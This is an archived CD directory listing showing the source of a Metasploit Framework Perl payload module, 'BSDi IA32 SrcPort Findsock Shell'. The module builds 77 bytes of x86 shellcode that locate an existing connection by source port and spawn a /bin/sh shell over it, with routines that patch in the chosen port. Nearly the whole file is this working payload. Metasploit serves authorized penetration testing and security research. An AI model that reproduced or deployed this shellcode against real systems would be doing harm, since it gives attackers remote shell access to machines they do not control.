home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / bsdi_ia32_findsock.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.9 KB  |  80 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::bsdi_ia32_findsock;
  11.  
  12. use strict;
  13. use base 'Msf::PayloadComponent::FindConnection';
  14.  
  15. my $info =
  16. {
  17.     'Name'         => 'BSDi IA32 SrcPort Findsock Shell',
  18.     'Version'      => '$Revision: 1.1 $',
  19.     'Description'  => 'Spawn a shell on the established connection',
  20.     'Authors'      => [ 'skape <mmiller [at] hick.org>', 
  21.                         'optyx <optyx [at] uberhax0r.net>' ],
  22.     'Arch'         => [ 'x86' ],
  23.     'Priv'         => 0,
  24.     'OS'           => [ 'bsdi' ],
  25.     'Size'         => '',
  26.     'UserOpts'     =>
  27.     {
  28.         'CPORT' => [1, 'PORT', 'Local port used by exploit'],
  29.     }
  30. };
  31.  
  32. sub new 
  33. {
  34.     my $class = shift;
  35.     my $hash = @_ ? shift : { };
  36.  
  37.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  38.  
  39.     my $self = $class->SUPER::new($hash, @_);
  40.     
  41.     $self->_Info->{'Size'} = $self->_GenSize;
  42.  
  43.     return $self;
  44. }
  45.  
  46. sub Build 
  47. {
  48.     my $self = shift;
  49.  
  50.     return $self->Generate($self->GetVar('CPORT'));
  51. }
  52.  
  53. sub Generate 
  54. {
  55.     my $self = shift;
  56.     my $port = shift;
  57.     my $port_bin = pack('n', $port);
  58.     my $off_port = 41;
  59.  
  60.     my $shellcode = # 77 byte findsock
  61.         "\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe7\x31\xf6" .
  62.         "\x83\xec\x10\x89\xe1\x6a\x10\x89\xe3\x46\x6a\x1f\x58\x53\x51\x56" .
  63.         "\xff\xd7\x83\xc4\x0c\x66\x81\x79\x02\x11\x5c\x75\xec\x6a\x02\x59" .
  64.         "\xb0\x5a\x51\x56\xff\xd7\x49\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" .
  65.         "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7";
  66.  
  67.     substr($shellcode, $off_port, 2, $port_bin);
  68.   
  69.     return $shellcode;
  70. }
  71.  
  72. sub _GenSize 
  73. {
  74.     my $self = shift;
  75.     
  76.     return length($self->Generate(4444));
  77. }
  78.  
  79. 1;
  80.